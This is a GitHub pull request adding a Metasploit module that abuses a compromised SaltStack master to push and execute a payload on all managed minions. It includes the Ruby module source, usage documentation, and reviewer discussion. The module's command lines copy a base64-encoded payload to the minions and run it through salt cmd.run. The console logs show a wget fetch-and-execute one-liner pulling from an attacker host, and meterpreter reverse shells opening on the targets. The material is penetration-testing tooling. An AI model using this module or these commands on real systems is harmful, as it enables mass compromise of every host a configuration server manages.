Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Saltstack salt minion deployer #18626

Merged
merged 10 commits into from
Jan 23, 2024
Merged
Show file tree
Hide file tree
Changes from 2 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,121 @@
## Vulnerable Application

This exploit module uses saltstack salt to deploy a payload and run it
on all targets which have been selected (default all).
Currently only works against nix targets.

## Verification Steps

1. Install the application
1. Start msfconsole
1. Get an initial shell on the box
1. Do: `use exploit/linux/local/saltstack_salt_minion_deployer`
1. Do: `set session [#]`
1. Do: `run`
1. You should get sessions on all the targeted hosts

## Options

### SALT

Location of salt-master executable if not in a standard location. This is added to a list of default locations
which includes `/usr/bin/salt-master`. Defaults to ``

### MINIONS

Which minions to target. Defaults to `*`

## WritableDir

A directory on the compromised host we can write our payload to. Defaults to `/tmp`

## TargetWritableDir

A directory on the target hosts we can write our payload to. Defaults to `/tmp`

## CALCULATE

This will calculate how many hosts may be exploitable by using Ansible's ping command.

### ListenerTimeout

How many seconds to wait after executing the payload for hosts to call back. Defaults to `60`

## Scenarios

### Minion 3002.2 on Ubuntu 20.04

Get initial access to the system. In this case, root was required to execute salt commands successfully.

```
resource (salt_deploy.rb)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (salt_deploy.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (salt_deploy.rb)> set srvport 8181
srvport => 8181
resource (salt_deploy.rb)> set target 7
target => 7
resource (salt_deploy.rb)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (salt_deploy.rb)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Using URL: http://1.1.1.1:8181/hvy2Ol
[*] Server started.
[*] Run the following command on the target machine:
wget -qO exVJILEV --no-check-certificate http://1.1.1.1:8181/hvy2Ol; chmod +x exVJILEV; ./exVJILEV& disown
[*] 3.3.3.3 web_delivery - Delivering Payload (250 bytes)
[*] Sending stage (3045380 bytes) to 3.3.3.3
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 3.3.3.3:45200) at 2023-12-16 09:59:02 -0500
```

```
resource (salt_deploy.rb)> use exploit/linux/local/saltstack_salt_minion_deployer
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
resource (salt_deploy.rb)> set session 1
session => 1
resource (salt_deploy.rb)> set verbose true
verbose => true
resource (salt_deploy.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (salt_deploy.rb)> set lport 9996
lport => 9996
[msf](Jobs:1 Agents:0) exploit(linux/local/saltstack_salt_minion_deployer) >

[msf](Jobs:1 Agents:1) exploit(linux/local/saltstack_salt_minion_deployer) > run
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(linux/local/saltstack_salt_minion_deployer) >
[*] Started reverse TCP handler on 1.1.1.1:9996
[*] Running automatic check ("set AutoCheck false" to disable)
[+] /tmp is writable, and salt-master executable found
[+] The target is vulnerable.
[*] Attempting to list minions
[*] minions:
- mac_minion
- salt-minion
- window-salt-minion
minions_denied: []
minions_pre: []
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What's a minions_pre ?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

not sure, thats a salt specific term. I believe it means they're in a pending to be accepted state.

minions_rejected: []
[+] 3.3.3.3:45200 - minion file successfully retrieved and saved to /root/.msf4/loot/20231216100004_default_3.3.3.3_saltstack_minion_890818.yaml
[+] Minions List
============

Status Minion Name
------ -----------
Accepted mac_minion
Accepted salt-minion
Accepted window-salt-minion

[+] 3 minions were found accepted, and will attempt to execute payload. Waiting 10 seconds incase this isn't optimal.
[*] Writing '/tmp/E76Azw' (336 bytes) ...
[*] Copying payload to minions

[*] Executing payloads
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:9996 -> 2.2.2.2:36850) at 2023-12-16 10:00:46 -0500
```
155 changes: 155 additions & 0 deletions modules/exploits/linux/local/saltstack_salt_minion_deployer.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,155 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Saltstack Minion Payload Deployer',
'Description' => %q{
This exploit module uses saltstack salt to deploy a payload and run it
on all targets which have been selected (default all).
Currently only works against nix targets.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'c2Vlcgo'
],
'Platform' => [ 'linux', 'unix' ],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

One can install the SaltMaster on windows too.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yup, It could be a target and host, as well as OSX. I was trying not to overly complicate this PR by making it work on and against everything the software does. From what I've seen "in the wild" it's always been linux on linux, however I'm sure thats a limited scope.

A follow-on PR can expand the scope out. In theory that was trivial until the base64 requirement. Still easy, but not trivial.

'Stance' => Msf::Exploit::Stance::Passive,
'Arch' => [ ARCH_X86, ARCH_X64 ],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Aren't all arch supported?

'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' => [],
'DisclosureDate' => '2011-03-19', # saltstack salt original release date
'DefaultTarget' => 0,
'Passive' => true, # this allows us to get multiple shells calling home
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]
}
)
)
register_options [
OptString.new('SALT', [true, 'salt-master executable location', '']),
h00die marked this conversation as resolved.
Show resolved Hide resolved
OptString.new('MINIONS', [true, 'Minions Target', '*']),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptString.new('TargetWritableDir', [ true, 'A directory where we can write files on targets', '/tmp' ]),
h00die marked this conversation as resolved.
Show resolved Hide resolved
OptBool.new('CALCULATE', [ true, 'Calculate how many boxes will be attempted', true ]),
OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions', 60 ]),
OptInt.new('TIMEOUT', [true, 'Timeout for salt commands to run', 120])
h00die marked this conversation as resolved.
Show resolved Hide resolved
]
end

def salt_master
return @salt if @salt

['/usr/bin/salt-master', datastore['SALT']].each do |exec|
next unless file?(exec)
next unless executable?(exec)
h00die marked this conversation as resolved.
Show resolved Hide resolved

@salt = exec
end
@salt
end

# taken from saltstack_salt.rb module
def list_minions
# pull minions from a master
print_status('Attempting to list minions')
unless command_exists?('salt-key')
print_error('salt-key not present on system')
return
end

count = 0
h00die marked this conversation as resolved.
Show resolved Hide resolved

begin
out = cmd_exec('salt-key', '-L --output=yaml', datastore['TIMEOUT'])
vprint_status(out)
minions = YAML.safe_load(out)
rescue Psych::SyntaxError
print_error('Unable to load salt-key -L data')
return
end

tbl = Rex::Text::Table.new(
'Header' => 'Minions List',
'Indent' => 1,
'Columns' => ['Status', 'Minion Name']
)

store_path = store_loot('saltstack_minions', 'application/x-yaml', session, minions.to_yaml, 'minions.yaml', 'SaltStack Salt salt-key list')
print_good("#{peer} - minion file successfully retrieved and saved to #{store_path}")
minions['minions'].each do |minion|
tbl << ['Accepted', minion]
count += 1
end

print_good(tbl.to_s)
print_good("#{count} minions were found accepted, and will attempt to execute payload. Waiting 10 seconds incase this isn't optimal.")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

will attempt to execute payload. Waiting 10 seconds incase this isn't optimal.

This is a bit unclear: what for is this waiting here, and what might not be optimal?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I can re-word this a bit better.

Basically I'm assuming that the user hasn't gotten an accurate count of the amount of hosts to be exploited ahead of time. I envisioned they just ran this module blindly thinking 'pwn it all!', so I wanted to give the user a heads up on how many shells to expect. If it was more than they expected (say expecting 10 servers, but its looking like 1000), I wanted to give them a chance to ctr+c out before all hell breaks loose

h00die marked this conversation as resolved.
Show resolved Hide resolved
Rex.sleep(10)
end

def check
return CheckCode::Safe('salt-master does not seem to be installed, unable to find salt-master executable') if salt_master.nil?

if writable?(datastore['WritableDir'])
vprint_good("#{datastore['WritableDir']} is writable, and salt-master executable found")
return CheckCode::Vulnerable
end
CheckCode::Safe("#{datastore['WritableDir']} is not writable")
h00die marked this conversation as resolved.
Show resolved Hide resolved
end

def exploit
# Make sure we can write our exploit and payload to the local system
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" unless writable? datastore['WritableDir']
list_minions if datastore['CALCULATE']

payload_name = rand_text_alphanumeric(5..10)

# due to a bug in older (2021) versions of salt-cp, we need to write ascii files. https://github.com/saltstack/salt/issues/59899
upload_and_chmodx "#{datastore['WritableDir']}/#{payload_name}", Rex::Text.encode_base64(generate_payload_exe)

print_status('Copying payload to minions')
cmd_exec("salt-cp '#{datastore['MINIONS']}' '#{datastore['WritableDir']}/#{payload_name}' '#{datastore['TargetWritableDir']}/#{payload_name}.b64'")
print_status('Executing payloads')
cmd_exec("salt '#{datastore['MINIONS']}' cmd.run 'base64 -d #{datastore['TargetWritableDir']}/#{payload_name}.b64 > #{datastore['TargetWritableDir']}/#{payload_name} && chmod 755 #{datastore['TargetWritableDir']}/#{payload_name} && #{datastore['TargetWritableDir']}/#{payload_name}'")

# stolen from exploit/multi/handler
stime = Time.now.to_f
timeout = datastore['ListenerTimeout'].to_i
loop do
break if timeout > 0 && (stime + timeout < Time.now.to_f)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why are we breaking conditionally on a positive, nonzero timeout? Are we expecting a 0 or negative timeout? We're not decrementing it that I see?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is 100% taken from exploit/multi/handler. Looks like in that module the default is 0 to wait forever.


Rex::ThreadSafe.sleep(1)
end
end

def on_new_session(_session)
cli.core.use('stdapi') if !cli.ext.aliases.include?('stdapi')
h00die marked this conversation as resolved.
Show resolved Hide resolved

begin
print_warning("Deleting: #{datastore['TargetWritableDir']}/#{payload_name}")
cli.fs.file.rm("#{datastore['TargetWritableDir']}/#{payload_name}")
print_good("#{datastore['TargetWritableDir']}/#{payload_name} removed")
rescue StandardError
print_error("Unable to delete: #{datastore['TargetWritableDir']}/#{payload_name}")
end
end

end